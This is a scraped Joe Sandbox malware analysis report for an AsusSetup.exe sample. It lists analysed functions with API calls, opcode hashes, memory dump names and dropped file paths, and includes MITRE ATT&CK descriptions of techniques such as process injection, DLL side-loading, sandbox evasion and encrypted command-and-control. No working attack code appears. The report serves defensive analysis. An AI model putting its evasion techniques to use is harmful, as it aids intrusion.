Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction ID: acc9c409bfed6f971381e37a24b597da9492e4a9f0360d1c688dd96e81bdce6a
Opcode Fuzzy Hash: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction Fuzzy Hash: 47411920608F098FDF6BAB2C945D33B36D8EB95311F5B096AD44BCB1E5FE288C458752

Function 00995D22 Relevance: 4.5, APIs: 3, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00995CD9
CloseHandle.KERNELBASE ref: 00995CDE
CreateThread.KERNELBASE ref: 00995D59

Memory Dump Source

Source File: 0000000B.00000002.4027543615.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction ID: e56561c007d774261732b7bccef2e4da0144bf46c666fb8970ae97739386d307
Opcode Fuzzy Hash: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction Fuzzy Hash: 93F0F02061CE0586DF2F9B3C985933B62C9A799332F670F1ED097C90E4FA2889029309

Function 00995D50 Relevance: 1.5, APIs: 1, Instructions: 8
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00995CD9
CloseHandle.KERNELBASE ref: 00995CDE
CreateThread.KERNELBASE ref: 00995D59

Memory Dump Source

Source File: 0000000B.00000002.4027543615.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction ID: 42431177af9be29fe9dc5de00db3a3f2557320f6d74cc522e1d840be51bc5390
Opcode Fuzzy Hash: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction Fuzzy Hash: 64B01200028F86874C2F1F3C044812B098C2E46A359771F6C9FB7968E2E8042C446330

Function 00995990 Relevance: 1.4, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00995A54

Memory Dump Source

Source File: 0000000B.00000002.4027543615.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction ID: 655c549b9f886a94e7d5be0656f95a1334282e8075c07f0bc5171c697869af75
Opcode Fuzzy Hash: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction Fuzzy Hash: F821D72051FE848FDF6B931C44953BB26A6B7A5324F9B07CBD086C7192C92C4D05D35E

Function 00998245 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 0099830B

Memory Dump Source

Source File: 0000000B.00000002.4027543615.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 0b5c3f705f9c07e18e9fed4425a8b847f59da5c944a15ebbd2a3689b4522c0a5
Instruction ID: d94446af1396888a6581757143bab7780411ceaaf94c390b59d46c2bbfe0cd57
Opcode Fuzzy Hash: 0b5c3f705f9c07e18e9fed4425a8b847f59da5c944a15ebbd2a3689b4522c0a5
Instruction Fuzzy Hash: 67F0F43451DA518FCE66871D907153FEBA8AF83740B69049EE447CB512CE18DC01D352

Function 009983E7 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 0099830B

Memory Dump Source

Source File: 0000000B.00000002.4027543615.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction ID: 60e192b49798a9d5bcc22fe71543ea4703616afd0ee9c71774501148c4b05738
Opcode Fuzzy Hash: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction Fuzzy Hash: E7F0903551CA418B9E75871C8461A3FA76CAB537C0B6C489DD467CB522CE28DC42E752

Function 00998318 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 0099830B
GetTokenInformation.KERNELBASE ref: 00998369

Memory Dump Source

Source File: 0000000B.00000002.4027543615.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CloseHandleInformationToken
String ID:
API String ID: 3954737543-0
Opcode ID: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction ID: 550dec73259b7a6fbc7719f914cfce04594bfe56695529192cea12fb748e64cc
Opcode Fuzzy Hash: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction Fuzzy Hash: AAF0FA3151CA418B9EB58B0CC4A193BA7ACAF23780B3C48ACC447CB422CF2CDC42E752

Analysis Process: maintenanceservice.exePID: 7320, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	62
Total number of Limit Nodes:	4

Executed Functions

Function 00C081C0 Relevance: 4.9, APIs: 3, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.2201416509.0000000000C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c00000_maintenanceservice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cefe6a1d073a468b2f47e60a6f5afefe70bf264b610db135861494dc24b89b7
Instruction ID: c96eb43a2584b22a649c2a17c8942c23e83c62d64a0abfd55cccb06b8572ef05
Opcode Fuzzy Hash: 1cefe6a1d073a468b2f47e60a6f5afefe70bf264b610db135861494dc24b89b7
Instruction Fuzzy Hash: 2AB14C3051CE458BCB29CB1D84802B5B792FFD6310F68C25DD8E7871E2DE299E86D352

Function 00C05B8F Relevance: 4.7, APIs: 3, Instructions: 161
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00C05D59

Memory Dump Source

Source File: 0000000C.00000002.2201416509.0000000000C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c00000_maintenanceservice.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction ID: 9fe3603a21fe6eb21bf1ff4052916b0d94510ca9861d5506b769434941bcff23
Opcode Fuzzy Hash: 98ad4f1ecaba1b1ea26a62891c6d47ab910c8725483cf31499e5227f5de8182e
Instruction Fuzzy Hash: A8411530618F098FEB689729855C33B36D1EB9D310F6801ABD026CB1E2DA358E05DF56

Function 00C05D22 Relevance: 4.5, APIs: 3, Instructions: 42
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00C05CD9
CloseHandle.KERNELBASE ref: 00C05CDE
CreateThread.KERNELBASE ref: 00C05D59

Memory Dump Source

Source File: 0000000C.00000002.2201416509.0000000000C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c00000_maintenanceservice.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction ID: 96fdb80a4e04a5b53f4da7f875e67c34da90f6c78b99a65a1a1d8d1e6302e742
Opcode Fuzzy Hash: 760f94599755da194dd29375a27335f1873d2ba13cc992e410e8a54c8ea46f33
Instruction Fuzzy Hash: 89F0F020A1CF0587EF2C833A895933B62C2E79D320FA40B5FC137C90E4DA248B01DE49

Function 00C05D50 Relevance: 1.5, APIs: 1, Instructions: 8
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00C05CD9
CloseHandle.KERNELBASE ref: 00C05CDE
CreateThread.KERNELBASE ref: 00C05D59

Memory Dump Source

Source File: 0000000C.00000002.2201416509.0000000000C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c00000_maintenanceservice.jbxd

Similarity

API ID: CreateThread$CloseHandle
String ID:
API String ID: 738052048-0
Opcode ID: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction ID: 931fd701415f3896c39c52e9b81a295d2f4ff08a3d7171daaf0110dae3e0420a
Opcode Fuzzy Hash: 7b23c4dad9cccc72c390ba8dfef486248ba2e75f4a7df7cd1f89f04c01369b0b
Instruction Fuzzy Hash: 3BB01200529F8B7BD01513310A4C12B09806E4AB34D751FEE8F730A9D2D9040E04EF2C

Function 00C05990 Relevance: 1.4, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00C05A54

Memory Dump Source

Source File: 0000000C.00000002.2201416509.0000000000C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c00000_maintenanceservice.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction ID: 29f62f963c95ac517e6bcef111a3f20b72b523033f0a3d3134a0fb5cf338cfeb
Opcode Fuzzy Hash: c955c7768020edb3d775754c7aa1ae957f516f6bf3db9d18962a2a84bb93b72c
Instruction Fuzzy Hash: 7721A531B2DE848FDB6A931944952B726A2F799324F58038BD096CB1D2D9284F05FE46

Function 00C08245 Relevance: 1.3, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00C0830B

Memory Dump Source

Source File: 0000000C.00000002.2201416509.0000000000C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c00000_maintenanceservice.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: abeeb7420c1f47a5a155fc40ccd1a1890ae2ccf5a29964df3ea308a91953a94f
Instruction ID: ef1744d48b1c56f0ecf6fc0211e3bfd52babcc0db8986298552e3dcb9ca73336
Opcode Fuzzy Hash: abeeb7420c1f47a5a155fc40ccd1a1890ae2ccf5a29964df3ea308a91953a94f
Instruction Fuzzy Hash: 98F0F93450DB418FCE76871990504766BA0BF92700B59C1DED4D7C79E2CE149E4BD352

Function 00C083E7 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00C0830B

Memory Dump Source

Source File: 0000000C.00000002.2201416509.0000000000C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c00000_maintenanceservice.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction ID: b8f326f9a84bd97911fb77614b6f3e103d574849e0710ed2c47c4b91ae146028
Opcode Fuzzy Hash: 503c1ad91aea7a5e0fd56d7a1d992a80918f029766c32a84f283e1e6ddad448d
Instruction Fuzzy Hash: 4BF0B43450DA41CBCA35870984406362BA0BBA2700F6CC19DD5E6CB9E2CF24EF8FE752

Function 00C08318 Relevance: 1.3, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00C0830B
GetTokenInformation.KERNELBASE ref: 00C08369

Memory Dump Source

Source File: 0000000C.00000002.2201416509.0000000000C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_c00000_maintenanceservice.jbxd

Similarity

API ID: CloseHandleInformationToken
String ID:
API String ID: 3954737543-0
Opcode ID: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction ID: 5b9d1d2bae53b32a953845262fbc65bf2b703c0d6b129ca21c6772cfc0ea5f4f
Opcode Fuzzy Hash: 77a015f8ebc331779973eb2bd4a9dafca6344b1b5edfd1b30c85a8ef24a0a0c6
Instruction Fuzzy Hash: 30F0903440DA41CBCA758A19844057527A07FA2750B6CC15DD4E6CB9E2CE24EF8BE762

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AsusSetup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Au3Check.exe

C:\Program Files (x86)\AutoIt3\Au3Info.exe

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe

C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe

Windows Analysis Report
AsusSetup.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre